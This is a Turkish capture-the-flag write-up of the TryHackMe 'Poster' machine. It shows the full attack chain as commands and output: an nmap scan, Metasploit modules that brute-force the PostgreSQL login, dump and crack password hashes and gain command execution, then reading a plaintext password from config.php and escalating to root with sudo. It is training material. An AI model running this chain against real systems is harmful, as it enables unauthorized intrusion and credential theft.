Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Poster” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.55.119
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 18:36 +03
Nmap scan report for 10.10.55.119
Host is up (0.065s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
2 — Postgres servisinde kullanabileceğim modüllere bakıyorum. Bize sorulan sorular için sırasıyla 9–11–15–10–6 indislerindeki modülleri kullanacağım.
msf6 > search postgres
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
1 post/linux/gather/enum_users_history normal No Linux Gather User History
2 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
3 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
4 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
5 auxiliary/analyze/crack_databases normal No Password Cracker: Databases
6 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
7 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
8 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal No PostgreSQL Database Name Command Line Flag Injection
9 auxiliary/scanner/postgres/postgres_login normal No PostgreSQL Login Utility
10 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
11 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
12 auxiliary/scanner/postgres/postgres_version normal No PostgreSQL Version Probe
13 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
14 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
15 auxiliary/scanner/postgres/postgres_hashdump normal No Postgres Password Hashdump
16 auxiliary/scanner/postgres/postgres_schemadump normal No Postgres Schema Dump
17 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
18 post/linux/gather/vcenter_secrets_dump 2022-04-15 normal No VMware vCenter Secrets Dump
3 — “auxiliary/scanner/postgres/postgres_login” modülü, postgresql servisine kullanıcı adı ve parola kombinasyonları ile giriş yapmaya çalışır. Bu modülü kullanarak kullanıcı adı ve parolayı buluyorum.
msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > show options
*
*
*
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(scanner/postgres/postgres_login) > run
*
*
[+] 10.10.55.119:5432 - Login Successful: postgres:*CENSORED*
4 — “auxiliary/admin/postgres/postgres_sql” modülü ile postgresql servisi versiyonunu öğreniyorum. Bunun için bir önceki modülü kullanarak bulduğumuz kullanıcı ve parolayı ayarlıyorum.
msf6 auxiliary(scanner/postgres/postgres_login) > use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > show options
*
*
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD *CENSORED*
PASSWORD => *CENSORED*
msf6 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.55.119
*
*
*
[*] Auxiliary module execution completed
5 — “auxiliary/scannen/postgres/postgres_hashdump” modülü ile postgresql veritabanındaki kullanıcıları ve parolalarının hashlerini elde ediyorum. Crackstation sitesini kullanarak hashleri kırıyorum ve “poster” kullanıcısının parolasın buluyorum.
msf6 auxiliary(admin/postgres/postgres_sql) > use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > show options
*
*
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD *CENSORED*
PASSWORD => *CENSORED*
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
*CENSORED*
6 — “exploit/multi/postgres/postgres_copy_from_program_cmd_exec)” modülü ile bir shell bağlantısı elde ediyorum. Dizinleri dolaştığımda “/var/www/html” dizini altında “config.php” isminde bir dosya buluyorum. Dosyayı okuduğumda “alison” kullanıcısının parolasını görüyorum.
postgres@ubuntu:/var/lib/postgresql/9.5/main$ pwd
pwd
/var/lib/postgresql/9.5/main
postgres@ubuntu:/var/lib/postgresql/9.5/main$ cd /var/www/html
cd /var/www/html
postgres@ubuntu:/var/www/html$ ls
ls
config.php poster
postgres@ubuntu:/var/www/html$ cat config.php
cat config.php
<?php
$dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "*CENSORED*";
$dbname = "*CENSORED*";
?>postgres@ubuntu:/var/www/html$ su alison
su alison
Password: *CENSORED*
7 — Alison kullanıcısının ev dizininde ilk bayrağımı elde ediyorum. “sudo -l” komutu ile sudo yetkisi ile çalıştırabileceğim komutları görüntülüyorum ve alison kullanıcısının sudo yetkisine sahip olduğunu görüyorum. “sudo su” ile root kullanıcısına geçtikten sonra root dizininde ikinci bayrağı da elde ediyorum.
alison@ubuntu:~$ cat user.txt
cat user.txt
*CENSORED*
alison@ubuntu:~$ sudo -l
sudo -l
[sudo] password for alison: *CENSORED*
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
alison@ubuntu:~$ sudo su
sudo su
root@ubuntu:/home/alison# cd /root
cd /root
root@ubuntu:~# cat root.txt
cat root.txt
*CENSORED*